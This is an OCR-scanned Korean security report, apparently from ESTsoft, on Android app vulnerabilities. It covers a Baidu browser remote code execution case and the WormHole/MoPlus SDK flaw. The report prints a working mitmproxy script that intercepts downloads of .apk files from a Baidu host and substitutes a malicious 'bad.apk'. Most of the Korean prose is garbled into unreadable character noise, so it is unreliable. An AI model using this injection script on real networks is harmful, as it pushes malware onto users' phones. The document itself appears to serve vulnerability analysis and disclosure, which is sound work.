07|0M libzeus.so = 227} Tt EMAYUS 7|alof st 22|= mitmdump 23 EEE 0|85t 244 apk
23 E T5Update.apk CHR2EE I§3l oty QI&IM A2 Z{0]|Ct,
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import 0s
from libmproxyimport proxy, flow
from libmproxy.protocol import http
from libmproxy.models import HTTPResponse
from netlib.httpimport Headers
def start(context,argv):
context.log("[*] Starting APKInjection!")
def request(context, flow):
if not flow.request.host =="s. mobile-global.baidu.com™
return
context.log("[Baidu APK Injection]Target host : {0}".format(flow.request.host))
if flow.request.path.split(".")[-1] == "apk":
context.log("[Baidu APK Injection]Target injection point : {0}".format(flow.request.path))

response =HTTPResponse("HTTP/1.0", 200, "OK",Headers(Content_Type="application/octet-stream")),
"PWNED")

# Inject our APK into the HTTP response
try:
with open("bad.apk’,"rb") as f:
modified = f.read()
response.content = modified
response.headers|"Content-Length"] = str(len(modified))
f.close()
except IOError as e:
raise e

flow.reply(response)

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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EX: http:/ ;v lifeform-abs.com/blog/2016/2/27 /remote—code—execution-in-the—baidu—browserfor-android

Aliyun 2015 EHI2! EHOF 1A QOF

2015 A SHE FIAES S0IM, 71%2] FAH0| ZHIZ AOIEL0|, MHEH| ESE AU, SHANS2 ZHIZ 0ES
D7 HRIZ SH0 E4fotdl, FIOFHS TS0 MH2| FFE 71SoH| T

THIQ Of XIHIO] HIOFHS FRIo] 25%E RIXISIHCD, 1 5 20 MbIA 745 20Z 4 9l SA0[IETI| FopHe
1/4E RIXIGIKILCY.

BHfR! 4 FIOPHS EASH T} 1874 &5 top10 Y F2I 97% OKC| US| B FOFHO| WHSIHOD, FOrHS 5

15159 7O, Hto] 10f oF 87 7Ho| FLFEO| ZXIBIAT

M| ¢ FoF

QIER0|C AAEY 20| FHH TH20Y, 2014 12| Webview 2474 B2 Al FoFHm M1 1, 2015 KOl S74S0]

THiR! 0| AR 5 AaEl= IS SA5/01, S20|C A2 Saff A48T 4 U FOFH KBSS WG O
q

FOFEE2 IE fAIS Sol0] 32 4= UM, HE HAOIA 012 FAUES Gl = AUCL

1) AEZ0|=0M K= ARBER= MHIA MR FOFY

==

20154 1%, 53 HOt oif| HPUSS QIER0|S01M SSXOR HOf= AHIA 7= HOPS W2sIION, TS
BZRISS 0] FrHS OIZ5I0] Aol HAAHS HoHEt 4+ QUSICH 0] HOFO| LEEIRS W, AR SIHEI0I4= Chze)

AE20|E WS0| Fehs HUCH, 0] FFH0| S7HE =7(0f= it WS0l| St 1071 02| F{FH0| EAHSIRALH.

a

o

C M—

FIOFH0| LM5h= 212 Android API 2] getStringExtra & getXXXExtra 72| B2 242 20IZ I, 2o Yoi= ol
AIE SFE LOR2CHH, 012 72| 3tS H2{TA o FHept Zdok= 20|t oS FIAFHS TXISh= X2 Ui

1R, = 2R0|= FE2 XX 24=Ct Ty catch £ F716101 0|2 &2H0| LASINS I CHSSIH EC
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2) HE QEFOZ Q15 42 HIof 22y

iz A= e% USO| Lt AT 7= SEAZ 7| fIol G S0 YIAFEE Wk 22 TE Al A MH=RE<2)
OHQ

42 51 5) 0| 448 1} 2 7k%) EESE Q0fs, aiE EESS Sl 2201 SUSIC et BE Ha0| hof:
SxiE LGP or | e20B, KIS0 /5101 2RO 0IE 4+ UOM, U0| HIEE DRES S SIS TH540)
RIOM, £2 10| 7152 OIS5I0] ELHZ OIS B THSHE QUL

20153 10 &, = HRIAT1E0| 224et WormHole 22, HIOIF MoPlus SDK O] ARZAt =t CIHIO|A FHET}
MY ACH, FAE, Mot 27| H ZAL S S Lot 7ISS0| Z2HEI0] AUCE 0] HO| A= I =Z9)
TCPRE(40310)2 025H=0, 2HXIS2 0] ZEO| request THZIS ey DIZF MBS SHX510, T £ TaHE| DIZistH
JIsES oI,

3) 7hg FioF

7|4 FlorHe TT 245 FOFHOIC} SHAIZH 0] H{OFHS O|REHs X242 HIaX KBHO7| M0, 0] FofHe] Hat:
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